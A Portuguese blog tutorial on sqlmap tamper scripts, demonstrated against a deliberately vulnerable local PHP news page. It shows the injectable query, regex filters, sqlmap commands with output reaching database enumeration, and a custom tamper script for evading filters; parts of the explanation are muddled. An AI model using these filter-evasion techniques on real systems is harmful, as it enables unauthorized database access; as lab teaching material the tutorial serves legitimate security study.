Uma das features mais interessantes do magnífico projeto sqlmap são os tamper scripts. São scripts em Python que te possibilitam modificar o payload da forma que você preferir. Sendo assim, conseguimos automatizar a tarefa e burlar filtros de modo simples e rápido, sem perder qualquer utilidade oferecida pelo SQLMap.
Por default, o SQLMap já vem com uma gama de scripts que ficam dentro do diretório tamper/*.py. Todos os scripts vem bem comentados, o que facilita ainda mais o entendimento.
Nesta matéria, irei demonstrar um pouco do uso dos tamper scripts, desde o uso até a criação dos mesmos.
Para demonstração da matéria, criei um sistema de notícias simples apenas para testarmos os scripts de forma rápida e sem prejudicar ninguém.
Query executada pelo sistema de notícias:
Código PHP:
<?php
$sql = 'SELECT * FROM noticias WHERE id = ' . $_GET['id'];
Inserindo uma aspa simples, já conseguimos quebrar a query:
Citação:
127.0.0.1 – - [26/Oct/2011:09:59:28 -0200] “GET /news/?id=2′ HTTP/1.1″ 200 202 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1 |
Código PHP:
<?php
if(preg_match('/\s/', $_GET['id']))
die('Hacking Attempt');
Citação:
:~/sqlmap-dev$ python sqlmap.py -o -u “http://localhost/news/?id=2″ –dbs [...] [10:09:12] [WARNING] GET parameter ‘id’ is not injectable [10:09:12] [CRITICAL] all parameters appear to be not injectable. Try to increase –level/–risk values to perform more tests. Also, you can try to rerun by providing either a valid –string or a valid –regexp, refer to the user’s manual for details |
Citação:
:~/sqlmap-dev$ python sqlmap.py –tamper “tamper/space2comment.py” -o -u “http://localhost/news/?id=2″ –dbs [...] [10:11:53] [INFO] loading tamper script ‘space2comment’ [...] GET parameter ‘id’ is vulnerable. Do you want to keep testing the others? [y/N] n [...] [10:12:10] [INFO] fetching database names [10:12:10] [INFO] the SQL query used returns 7 entries |
Para burlar isso, podemos utilizar “” ao invés dos “/**/”. Mas o space2comment.py não faz isso automaticamente.
Vamos melhorar esse filtro pra ver na prática…
Código PHP:
<?php
if(preg_match('/(\s|\/\*\*\/|\+)/', $_GET['id']))
die('Hacking Attempt');
Citação:
[10:30:11] [INFO] loading tamper script ‘space2plus’ [10:30:13] [WARNING] GET parameter ‘id’ is not injectable |
Mas vamos criar nosso próprio script para fazer o replace…
Código:
#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload): if payload: payload = payload.replace("/**/", ""); payload = payload.replace("+", ""); return payload
Será que funciona?
Citação:
:~/sqlmap-dev$ python sqlmap.py –tamper “tamper/space2plus.py,tamper/fvox.py” -o -u “http://localhost/news/?id=2″ –dbs [...] [10:31:50] [INFO] loading tamper script ‘space2plus’ [10:31:50] [INFO] loading tamper script ‘fvox’ [...] [10:31:51] [INFO] GET parameter ‘id’ is ‘AND boolean-based blind – WHERE or HAVING clause’ injectable [...] [10:31:51] [INFO] GET parameter ‘id’ is ‘MySQL >= 5.0 AND error-based – WHERE or HAVING clause’ injectable [...] [10:32:01] [INFO] GET parameter ‘id’ is ‘MySQL > 5.0.11 AND time-based blind’ injectable [...] GET parameter ‘id’ is vulnerable. Do you want to keep testing the others? [y/N] n [...] [10:32:30] [INFO] fetching database names [10:32:30] [INFO] the SQL query used returns 7 entries |
Por enquanto é isso aí.
Bons estudos!
Referência: http://unsecurity.com.br/burlando-wafs-com-o-sqlmap/
By: R410X
Nenhum comentário:
Postar um comentário